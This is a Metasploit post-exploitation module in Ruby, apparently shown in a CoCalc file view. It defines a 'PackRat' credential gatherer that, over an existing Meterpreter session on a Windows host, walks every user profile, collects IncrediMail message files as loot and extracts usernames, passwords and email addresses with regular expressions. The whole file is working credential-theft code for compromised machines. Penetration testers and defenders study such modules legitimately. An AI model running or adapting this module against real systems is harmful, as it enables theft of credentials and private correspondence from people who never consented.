Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
# frozen_string_literal: true
2

3
##
4
# This module requires Metasploit: https://metasploit.com/download
5
# Current source: https://github.com/rapid7/metasploit-framework
6
##
7
ARTIFACTS =
8
  {
9
    application: 'incredimail',
10
    app_category: 'emails',
11
    gatherable_artifacts: [
12
      {
13
        filetypes: 'email_logs',
14
        path: 'LocalAppData',
15
        dir: 'IM',
16
        artifact_file_name: 'msg.iml',
17
        description: 'IncrediMail sent and received emails',
18
        credential_type: 'text',
19
        regex_search: [
20
          {
21
            extraction_description: 'Searches for credentials (USERNAMES/PASSWORDS)',
22
            extraction_type: 'credentials',
23
            regex: [
24
              '(?i-mx:password.*)',
25
              '(?i-mx:username.*)'
26
            ]
27
          },
28
          {
29
            extraction_description: 'searches for Email TO/FROM address',
30
            extraction_type: 'Email addresses',
31
            regex: [
32
              '(?i-mx:to:.*)',
33
              '(?i-mx:from:.*)'
34
            ]
35
          }
36
        ]
37
      }
38
    ]
39
  }.freeze
40

41
class MetasploitModule < Msf::Post
42
  # this associative array defines the artifacts known to PackRat
43
  include Msf::Post::File
44
  include Msf::Post::Windows::UserProfiles
45
  include Msf::Post::Windows::Packrat
46

47
  def initialize(info = {})
48
    super(
49
      update_info(
50
        info,
51
        'Name' => 'Incredimail credential gatherer',
52
        'Description' => %q{
53
          PackRat is a post-exploitation module that gathers file and information artifacts from end users' systems.
54
          PackRat searches for and downloads files of interest (such as config files, and received and deleted emails) and extracts information (such as contacts and usernames and passwords), using regexp, JSON, XML, and SQLite queries.
55
          Further details can be found in the module documentation.
56
          This is a module that searches for Incredimail credentials on a windows remote host.
57
        },
58
        'License' => MSF_LICENSE,
59
        'Author' => [
60
          'Kazuyoshi Maruta',
61
          'Daniel Hallsworth',
62
          'Barwar Salim M',
63
          'Z. Cliffe Schreuders' # http://z.cliffe.schreuders.org
64
        ],
65
        'Platform' => ['win'],
66
        'SessionTypes' => ['meterpreter'],
67
        'Notes' => {
68
          'Stability' => [CRASH_SAFE],
69
          'Reliability' => [],
70
          'SideEffects' => []
71
        }
72
      )
73
    )
74

75
    register_options(
76
      [
77
        OptRegexp.new('REGEX', [false, 'Match a regular expression', '^password']),
78
        OptBool.new('STORE_LOOT', [false, 'Store artifacts into loot database', true]),
79
        OptBool.new('EXTRACT_DATA', [false, 'Extract data and stores in a separate file', true]),
80
        # enumerates the options based on the artifacts that are defined below
81
        OptEnum.new('ARTIFACTS', [
82
          false, 'Type of artifacts to collect', 'All', ARTIFACTS[:gatherable_artifacts].map do |k|
83
                                                          k[:filetypes]
84
                                                        end.uniq.unshift('All')
85
        ])
86
      ]
87
    )
88
  end
89

90
  def run
91
    print_status('Filtering based on these selections:  ')
92
    print_status("ARTIFACTS: #{datastore['ARTIFACTS'].capitalize}")
93
    print_status("STORE_LOOT: #{datastore['STORE_LOOT']}")
94
    print_status("EXTRACT_DATA: #{datastore['EXTRACT_DATA']}\n")
95

96
    # used to grab files for each user on the remote host
97
    grab_user_profiles.each do |userprofile|
98
      run_packrat(userprofile, ARTIFACTS)
99
    end
100

101
    print_status 'PackRat credential sweep Completed'
102
  end
103
end
104

105